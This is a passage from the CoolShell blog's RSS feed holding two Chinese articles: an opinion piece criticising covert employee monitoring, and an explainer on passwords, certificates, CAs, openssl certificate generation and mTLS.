href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li><li ><a href=\"https://coolshell.cn/articles/20276.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/12/open-your-creative-mind-150x150.jpg\" alt=\"别让自己“墙”了自己\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20276.html\" class=\"wp_rp_title\">别让自己“墙”了自己</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/22173.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>119</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>谈谈公司对员工的监控</title>\n\t\t<link>https://coolshell.cn/articles/22157.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/22157.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 12 Feb 2022 07:50:06 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术新闻]]></category>\n\t\t<category><![CDATA[技术管理]]></category>\n\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=22157</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>今天看到微博上有一个热点事件， 是一个关于某公司做的一个监控员工离职倾向的软件，从截图中可以看到员工访问招聘网站的次数，还有投递的简历以及搜索的关建词等等信息，...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/22157.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>今天看到微博上有一个热点事件， 是一个关于某公司做的一个监控员工离职倾向的软件，从截图中可以看到员工访问招聘网站的次数，还有投递的简历以及搜索的关建词等等信息，通过这些信息分析员工的离职倾向。然后我发一个微博，说了一下，我以前工作过的公司无论外国公司还是中国公司都有这样的情况，收到一些人来问我相关的情况，所以，我想还是写篇文章详细地说一下，我对这种事情的看法。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring.jpeg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-22159 size-large\" src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-1024x534.jpeg\" alt=\"\" width=\"640\" height=\"334\" srcset=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-1024x534.jpeg 1024w, https://coolshell.cn/wp-content/uploads/2022/02/monitoring-300x156.jpeg 300w, https://coolshell.cn/wp-content/uploads/2022/02/monitoring-768x400.jpeg 768w, https://coolshell.cn/wp-content/uploads/2022/02/monitoring-1536x801.jpeg 1536w, https://coolshell.cn/wp-content/uploads/2022/02/monitoring-518x270.jpeg 518w, https://coolshell.cn/wp-content/uploads/2022/02/monitoring.jpeg 1920w\" sizes=\"(max-width: 640px) 100vw, 640px\" /></a></p>\n<p>本文分成下面个部分：</p>\n<ul>\n<li>公司监控员工的技术手段有哪些？</li>\n<li>为什么要监控员工？</li>\n<li>外企和国企有什么不一样？</li>\n<li>我对此事的看法</li>\n</ul>\n<p><span id=\"more-22157\"></span></p>\n<h4>技术手段</h4>\n<p>下面是我经历过的几个手段：</p>\n<p>1）<strong>通过网络嗅探的方式</strong>。也就是说，你只要上了公司的网络，你个人设备上的通讯信息就可以被人以网络抓包+分析的方式进行分析。当然，这样的手段已经不怎么好用了，因为现在的网络基本上都是HTTPS加密的，网络嗅探的方式只能知道你访问了什么IP，对于其中的数据是没有办法知道的。</p>\n<p>2）<strong>通过使用公司提供的软硬件工具</strong>。你使用公司的电子邮箱，浏览器（或是公司的代理服务器），通讯工具（包括语音电话），手机办公应用……等来处理你的个人事宜的时候，必然会被监控。这样，你只需要不要使用公司的软件来处理自己的私事就好了。</p>\n<p>3）<strong>通过安装一个监控程序</strong>。这个是最可怕的了，因为无论你加不加密都没用了。一般来说，你不安装这个程序，你就没有办法连上网络，包括公司内网和外网。这个监控程序，会收集你电脑或手机上能够收集的到的所有的信息，比如，你的网络信息，按键操作，录屏，软件数据……等等。</p>\n<p>4）<strong>办公区监控</strong>。我见过的还有使用摄像头，在会议室中安装声音和视频监控设备，对整个办公区内发生所有的事情进行监控。</p>\n<p><strong>5）通过爬虫。</strong>通过爬虫分析员工的社交平台上的各种言论，包括招聘网站。除了公司需要分布和自己相关的舆情，同样也开始监控员工的行为和价值观等。这已经不是监控隐私信息了……</p>\n<h4>公司监控的目的</h4>\n<p>公司监控的目的最早就是为了防止自己公司内的数据和信息外泄，所以，他们害怕自己的员工访问了什么不合适的网站，或是下载了什么有恶意的软件，或是不小心发错了邮件。另外一些公司也会使用外包人员，所以，对于外部编制的人员更需要有信息泄漏防范的安全需求。当然，也害怕有一些商业间谍或是自己的员工被收买了窃取公司内部的敏感信息。尤其是对于一些本身就是做数据的公司，如我以前呆过的Thomson Reuters，这家公司主要是卖金融数据的，所以，对信息泄漏是非常注重的，其就是需要在员工的电脑上安装监控软件。</p>\n<p>还有一些劳动密集型的工作，比如在Amazon里的仓库里工作的人，公司会监控员工的工作量，以此来评估员工的工作绩效。对于用监控软件来评估程序员的工作量，我到今天仅见过监控外包人员的，在中国，外包人员需要使用甲方的电脑进行签到和签退，以及相关的工作。除了上述的信息安全目前，还能够看到员工的工作时长的情况。</p>\n<p><strong>所以，一般来说，公司监控的目的主要是为了自己的信息安全，还有员工的工作量评估，一般来说，不会涉及员工的隐私</strong>。</p>\n<p>但是，随着收集的数据越来越多，有些公司发现还可以做更多的事，比如，上述的员工离职倾向的分析。<strong>还有一些公司还会收集员工在外网的数据，比如你在社交平台上的各种言论，来分析你对公司的忠诚度和你的价值观取向……</strong>我个人觉得这些已经令人不耻了。</p>\n<h4>外企与国企不同之处</h4>\n<p>我经历过的公司中，外国公司和中国公司都有监控的经历，这里说一下他们的不一样之处。<strong>最大的不一样的地方是，外国公司会让你有知情权，而中国公司则完全没有</strong>。</p>\n<p>我记得我进入Thomson Reuters 公司的时候，公司要求签署一份监控的知情的同意书，其中用中英文写的，就是说，你授权公司监控你的如下这些信息：1）上网记录，2）下载的软件，3）工作电脑，4）公司的座机电话，5）会议室和办公区的语音和视频监控……大概有两页A4纸，然后也说明了这些数据公司仅用于信息安全的风控，不用于个人隐私分析等等……并且会符合法律要求保护员工的这些数据不外泄……这些条款都经得起法律的推敲。这样的协议是需要员工签字的，并且对双方都有法律约束的。</p>\n<p>中国的公司则不会告诉你他们会监控你哪些数据，而这些数据拿来做什么。 我记得我在某公司工作的时候，就有员工发现自己访问自己的gmail的录屏被公司收集后的愤怒……</p>\n<h4>我对此事的看法</h4>\n<p>一方面，我对于公司通过使用监控软件监控员工的行为我是能够理解的，但是，<strong>应该让员工有知情权，并和员工明确一个监控的信息和范围，包括收集的数据的用途和安全措施，以及数据多长时间销毁的协议。</strong>如果没有这个协议的话，我觉得本质上就是一种流氓行为。</p>\n<p>另一方面，针对监控员离职的倾向来说，我实在不知道有什么意义？公司你知道了又能如何呢？你是要找员工作思想工作，还是要给员工更好的待遇，还是直接开掉？<strong>如果你对自己的企业有信心，你就不必担心员工会离开，如果你的企业有问题，你为什么不把心思花在建设自己的企业上来呢？安装这样的监控软件对于企业没有什么帮助，反而只会让你的企业的形象更low……</strong></p>\n<p>再仔细想想，<strong>员工有一万种方法泄漏你公司的信息，无论你怎么监控，只要他想，他总是能够找到方法的，不是么？如何让找到或是培养有职业操守的员工，如何管理自己企业的商业信息，如何建立一个更好的企业文化让员工更有归属感，成为企业的共同体，一同维护共同利益，为企业着想，这不才是公司真正应该干的事吗？！</strong>监控员工充分暴露了这样的企业没有一个好的企业文化，不懂得高级的管理，所以，只能靠监控这样的手段来管理企业了……这样的企业不去也罢了。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li><li ><a href=\"https://coolshell.cn/articles/20276.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/12/open-your-creative-mind-150x150.jpg\" alt=\"别让自己“墙”了自己\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20276.html\" class=\"wp_rp_title\">别让自己“墙”了自己</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/22157.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>26</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>网络数字身份认证术</title>\n\t\t<link>https://coolshell.cn/articles/21708.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/21708.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 02 Jan 2022 08:38:13 +0000</pubDate>\n\t\t\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[网络安全]]></category>\n\t\t<category><![CDATA[mTLS]]></category>\n\t\t<category><![CDATA[Security]]></category>\n\t\t<category><![CDATA[TLS]]></category>\n\t\t<category><![CDATA[安全]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=21708</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>这篇文章是《HTTP API 认证授权术》的姊妹篇，在那篇文章中，主要介绍了 HTTP API 认证和授权技术中用到的 HTTP Basic, Digest A...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/21708.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/21708.html\">网络数字身份认证术</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-21716\" src=\"https://coolshell.cn/wp-content/uploads/2022/01/iStock-1175502114-300x201.png\" alt=\"\" width=\"300\" height=\"201\" srcset=\"https://coolshell.cn/wp-content/uploads/2022/01/iStock-1175502114-300x201.png 300w, https://coolshell.cn/wp-content/uploads/2022/01/iStock-1175502114-768x514.png 768w, https://coolshell.cn/wp-content/uploads/2022/01/iStock-1175502114-404x270.png 404w, https://coolshell.cn/wp-content/uploads/2022/01/iStock-1175502114.png 800w\" sizes=\"(max-width: 300px) 100vw, 300px\" />这篇文章是《<a title=\"HTTP API 认证授权术\" href=\"https://coolshell.cn/articles/19395.html\" target=\"_blank\" rel=\"noopener\">HTTP API 认证授权术</a>》的姊妹篇，在那篇文章中，主要介绍了 HTTP API 认证和授权技术中用到的 HTTP Basic, Digest Access, HMAC, OAuth, JWT 等各种方式，主要是 API 上用到的一些技术，这篇文章主要想说的是另一个话题——身份认证。也就是说，怎么确认这个数据就是这个人发出来的？</p>\n<h4>用户密码</h4>\n<p>要解决这个问题，我们先来看一个最简单的解——使用密码，通常来说，在网络上要证明一个人的身份的话，都需要这个人的一些私密而唯一的东西。比如，像密码这样的东西，很多地方，只要你提供了你的用户名+密码，就可以确定这个人是你（注明：关于密码管理，强密码设定，密码泄漏，密码破解以及密码哄骗不在这篇文章的话题中），也就是说，这个密码是非常私密的事，我们可以假设，这个事全世界只能有当事人一个人知道，所以，当事人得供正确的密码，我们就可以认证这个人了。</p>\n<p>为了加强密码的安全程度，一般会使用 2FA（Two-factor authentication）或 MFA（Multi-factor authentication），双因认证或多因认证，这需要用户提供一个唯一的可信设备，比如用户的手机，然后通过验证手机短信，或是像 <a href=\"https://en.wikipedia.org/wiki/Google_Authenticator\" target=\"_blank\" rel=\"noopener\">Google Authenticator</a>  这样的动态口令来完成。这样的安全级别已经算是比较高了。如果能够再加上经常性的变更密码，那么安全级别就更好了。</p>\n<p><span id=\"more-21708\"></span></p>\n<p>另外，一些公司还使用了生物密码来进行用户的身份验证，比如人脸识别。但是，我个人觉得人脸识别或是生物识别是比较糟糕的方式，因为：</p>\n<ul>\n<li>目前能被验证的生物信息（如人脸和指纹）太容易被别人获得和伪造了。</li>\n<li>这样东西不能被变更和吊销，密码可以被吊销和重置，人脸则不能。</li>\n</ul>\n<h4>密钥对和证书</h4>\n<p>密码可以解决身证认证的问题有很多问题，最重要的一个问题就是，你要把你的密码提供给对方，对方才能验证你的身份。你不可能把你的密码提供给全世界的人吧，这样的话，全世界的人都有你的密码了，那么任何人都能变成你了。所以，用户密码这个事只能存在于权威机构和普通用户之间，不能存在于普遍应用中。所以，这里需要使用更好的解决方案。</p>\n<p>使用 ECC（<a title=\"Elliptic-Curve Cryptography\" href=\"https://en.wikipedia.org/wiki/Elliptic-curve_cryptography\" target=\"_blank\" rel=\"noopener\">Elliptic-Curve Cryptography</a>）椭圆曲线密码术，可以通过一个“密钥对”进行非对称加密。这种技术，在对信息进行加密和解密时，使用两个不同的密钥，其中一个用来做加密，另一个做解密。这样一来，我们就可以把其中一个密钥公布出去，称之为公钥，另一个密钥私密地保管好，称之为私钥。</p>\n<p>比如，我用我的私钥加密信息，然后，我把这个私钥所配对的公钥发布给所有人，大家都用公钥解密信息，不用我的公钥你解密不了这个信息。这样一来，就可以保证这个信息是我发出来的，不但保证了信息安全，还完成了身份认证。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-large wp-image-21710\" src=\"https://coolshell.cn/wp-content/uploads/2022/01/key.pair_-1024x390.png\" alt=\"\" width=\"640\" height=\"244\" srcset=\"https://coolshell.cn/wp-content/uploads/2022/01/key.pair_-1024x390.png 1024w, https://coolshell.cn/wp-content/uploads/2022/01/key.pair_-300x114.png 300w, https://coolshell.cn/wp-content/uploads/2022/01/key.pair_-768x293.png 768w, https://coolshell.cn/wp-content/uploads/2022/01/key.pair_-604x230.png 604w, https://coolshell.cn/wp-content/uploads/2022/01/key.pair_.png 1304w\" sizes=\"(max-width: 640px) 100vw, 640px\" /></p>\n<p>这样的现实案例一般用于网站，也就是用户得要知道我访问的这个网站是真实的，不是别人做的。因为 DNS 很容易被 hack，你连上一个不可信的网络，这个网络里的 DNS 把这个网站的 IP 地址解析成什么 就是什么了。但是有了这个加密的机制后，网站把自己的信息加密后连同公钥给到访问者，访问解密后就知道是不是这个网站了。</p>\n<p>但是，这里还是会有一个很严重的问题，那就是中间人攻击。如下图所示：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-21712 size-full\" src=\"https://coolshell.cn/wp-content/uploads/2022/01/middle.man_-e1641105543137.png\" alt=\"\" width=\"600\" height=\"252\" /></p>\n<p>中间人 Chad 把自己伪装成 Bob 向 Alice 要信息，然后，再伪装成 Alice 对 Bob 说，这就是 Alice 的公钥，于是 Bob 也无法验证是不是 Alice 的公钥，因为公钥里就是一堆乱七八糟的数据，我们完全不能分辨哪个公钥属于 Alice 的。试想，如果我们收到声称属于银行的密钥。我们怎么知道它确实属于你的银行？</p>\n<p>这里的答案就是<strong>使用数字证书</strong>。证书跟我们的身份证非常类似，其需要一个可信机构来颁发和验证的。这个证书机构 CA（Certificate Authority）是一个是大家都相信的权威机构，他用他的人品保证（当然一般会被严格管理和审计），CA 机构同样使用这样的非对称加密的技术来完成颁发和验证的事。下图展示了这一过程。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-large wp-image-21713\" src=\"https://coolshell.cn/wp-content/uploads/2022/01/certificate-1024x532.png\" alt=\"\" width=\"640\" height=\"333\" srcset=\"https://coolshell.cn/wp-content/uploads/2022/01/certificate-1024x532.png 1024w, https://coolshell.cn/wp-content/uploads/2022/01/certificate-300x156.png 300w, https://coolshell.cn/wp-content/uploads/2022/01/certificate-768x399.png 768w, https://coolshell.cn/wp-content/uploads/2022/01/certificate-519x270.png 519w, https://coolshell.cn/wp-content/uploads/2022/01/certificate.png 1362w\" sizes=\"(max-width: 640px) 100vw, 640px\" /></p>\n<p>说明一下上面这个图：</p>\n<ol>\n<li>为了解决公钥认证的问题的，我们需要一个权威的CA 机构。</li>\n<li>Alice 把自己的信息（姓名、组织，地址，电邮，网址等）和自己的公钥打包成一个 CSR 的文件，发给 CA 机构，</li>\n<li>CA 机构会来找 Alice 做物理世界的认证，如果通过后，就会用自己的机构私钥，把CSR 变成一个签名证书。</li>\n<li>Bob 同学拿到 Alice 的证书，用 CA 机构的公钥解密后，得到 Alice 的公钥</li>\n<li>后面就可以签证 信息是否来自 Alice 了。</li>\n</ol>\n<p>是的，这个过程就是在“套娃”，这种证书机构还可以给下级的证书机构发证，于是就会一层套一层地，形成一个证书链，顶层的叫根证书，你得绝对信任之。对于验证证书真实性的客户端，它需要能够验证链中所有 CA 的签名，这意味着客户端需要访问链中所有 CA 的证书。</p>\n<h4>证书生成过程演示</h4>\n<p>并不是所有的场景都需要向这些大型的 CA 机构申请公钥证书，在任何一个企业，组织或是团体内都可以自己形这样的“小王国”，也就是说，你可以自行生成这样的证书，只需要你自己保证自己的生成证书的私钥的安全，以及不需要扩散到整个互联网。下面，我们用 <code>openssl</code>命令来演示这个过程。</p>\n<p>1）生成 CA 的证书（公钥） <code>ca.crt</code> 和私钥 <code>ca.key</code></p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">openssl req -newkey rsa:2048 \\\n    -new -nodes -x509 \\\n    -days 365 \\\n    -out ca.crt \\\n    -keyout ca.key \\\n    -subj \"/C=SO/ST=Earth/L=Mountain/O=CoolShell/OU=HQ/CN=localhost\"</pre>\n<p>2)  生成 alice 的私钥</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">openssl genrsa -out alice.key 2048</pre>\n<p>3）生成 Alice 的 CSR &#8211; Certificate Signing Request</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">openssl req -new -key alice.key 365 -out alice.csr \\\n    -subj \"/C=CN/ST=Beijing/L=Haidian/O=CoolShell/OU=Test/CN=localhost.alice\"</pre>\n<p>4）使用 CA 给 Alice 签名证书</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">openssl x509  -req -in alice.csr \\\n    -extfile &lt;(printf \"subjectAltName=DNS:localhost.alice\") \\ \n    -CA ca.crt -CAkey ca.key  \\\n    -days 365 -sha256 -CAcreateserial \\\n    -out alice.crt</pre>\n<h4>双向认证 mTLS</h4>\n<p>上面，我们说的基本上都是单向认证，大量的场景都是确保用户方访问的是真正的服务方，如：银行，电商网站，等。这样可以保证用户不会被钓鱼网站或是中间人攻击。但是，很多时候，我们也是需要双向认证的。下面是一个典型的场景——微信支付和商户间交互</p>\n<ul>\n<li>用户到商家那边买东西，商家要求用户进行支付。</li>\n<li>用户选择了微信支付，于是，界面从商户侧切到了微信侧</li>\n<li>微信那边支付完成后，商户这边收到微信那边支付完成的通知，于是开始发货。</li>\n</ul>\n<p>这个过程中有件事非常重要——就是微信通知商户支付完成的时候。</p>\n<ul>\n<li>微信得确保通知到的就是用户所支付商户，而不是别个。</li>\n<li>商户也得要能确认，来通知我的就是微信，不是别人。</li>\n</ul>\n<p>一般来说，微信会给商户一个 AppID和一个 AppSerct，用这个来确保是我认证过的商户来调用我，然后，需要商户在自己的系统里填一个回调的 URL，并通过平台设置的 key来做 MD5/HMAC的签名来确保是官方的回调。这都是在《<a title=\"HTTP API 认证授权术\" href=\"https://coolshell.cn/articles/19395.html\" target=\"_blank\" rel=\"noopener\">HTTP API 认证授权术</a>》中提到过的技术，是相对传统的技术。</p>\n<p>如今，<b>mTLS是</b>确保云原生应用程序中服务之间的通信安全的首选协议。 也就是双向认证。</p>\n<p>传统的 TLS 认证过程是：</p>\n<ol dir=\"auto\">\n<li>客户端连接到服务器</li>\n<li>服务器提供其 TLS 证书</li>\n<li>客户端验证服务器的证书</li>\n<li>客户端和服务器通过加密的 TLS 连接交换信息</li>\n</ol>\n<p dir=\"auto\">在 mTLS 中，客户端和服务器都有一个证书，双方都使用他们的公钥/私钥对进行身份验证。与常规 TLS 相比，mTLS 中有额外的步骤来验证双方（以<strong>粗体显示的</strong>额外步骤）：</p>\n<ol dir=\"auto\">\n<li>客户端连接到服务器</li>\n<li>服务器提供其 TLS 证书</li>\n<li>客户端验证服务器的证书</li>\n<li><strong>客户端出示其 TLS 证书</strong></li>\n<li><strong>服务器验证客户端的证书</strong></li>\n<li><strong>服务器授予访问权限</strong></li>\n<li>客户端和服务器通过加密的 TLS 连接交换信息</li>\n</ol>\n<p>mTLS 需要“根”TLS 证书；这我们自己来完成证书颁发机构的职责。授权客户端和服务器使用的证书必须与此根证书相对应。根证书是自签名的，这意味着我们需要自己创建它。（注：此方法不适用于公共 Internet 上的单向 TLS，因为外部证书颁发机构必须颁发这些证书）</p>\n<p>那么，为什么整个互联网上都用了 TLS 了，为什么 不升级一下使用 mTLS？这里有两方面的原因：</p>\n<ul>\n<li>公共互联网上要解决的问题是：A) 确保用户访问到的是正确的网站，而不是钓鱼网站。B）网站传输的内容是安全和私密且不会被篡改的。</li>\n<li>将 TLS 证书分发到所有最终用户设备将非常困难。生成、管理和验证为此所需的数十亿个证书几乎是不可能的任务。</li>\n</ul>\n<p>在较小的范围内，mTLS 对于单个组织非常有用且非常实用，尤其是当这些组织采用零信任方法来确保网络安全时。由于默认情况下零信任方法不信任任何用户、设备或请求，因此组织必须能够在每次尝试访问网络中的任何点时对每个用户、设备和请求进行身份验证。mTLS 通过对用户进行身份验证和设备验证来帮助实现这一目标。</p>\n<p>关于 mTLS，这里有一个我用 Golang 写的示例 &#8211; <a href=\"https://github.com/haoel/mTLS\" target=\"_blank\" rel=\"noopener\">https://github.com/haoel/mTLS</a>，大家可以参考一下。</p>\n<p>P.S. 本文图版中的卡司来自安全圈的标准 Cast，参看<a href=\"https://en.wikipedia.org/wiki/Alice_and_Bob\" target=\"_blank\" rel=\"noopener\"> Alice and Bob</a>。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/19395.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png\" alt=\"HTTP API 认证授权术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19395.html\" class=\"wp_rp_title\">HTTP API 认证授权术</a></li><li ><a href=\"https://coolshell.cn/articles/21003.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/06/time-bomb-150x150.png\" alt=\"计时攻击 Timing Attacks\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21003.html\" class=\"wp_rp_title\">计时攻击 Timing Attacks</a></li><li ><a href=\"https://coolshell.cn/articles/19840.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/10/HTTP-770x513-300x200-1-150x150.jpg\" alt=\"HTTP的前世今生\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19840.html\" class=\"wp_rp_title\">HTTP的前世今生</a></li><li ><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png\" alt=\"如何免费的让网站启用HTTPS\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_title\">如何免费的让网站启用HTTPS</a></li><li ><a href=\"https://coolshell.cn/articles/17607.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/MongoDB-150x150.jpg\" alt=\"从 MongoDB “赎金事件” 看安全问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17607.html\" class=\"wp_rp_title\">从 MongoDB “赎金事件” 看安全问题</a></li><li ><a href=\"https://coolshell.cn/articles/17066.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/04/phishing-1-150x150.jpg\" alt=\"关于移动端的钓鱼式攻击\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17066.html\" class=\"wp_rp_title\">关于移动端的钓鱼式攻击</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/21708.html\">网络数字身份认证术</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/21708.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>14</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>我做系统架构的一些原则</title>\n\t\t<link>https://coolshell.cn/articles/21672.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/21672.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 21 Dec 2021 07:46:41 +0000</pubDate>\n\t\t\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[系统架构]]></category>\n\t\t<category><![CDATA[Architecture]]></category>\n\t\t<category><![CDATA[Design]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=21672</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>工作 20 多年了，这 20 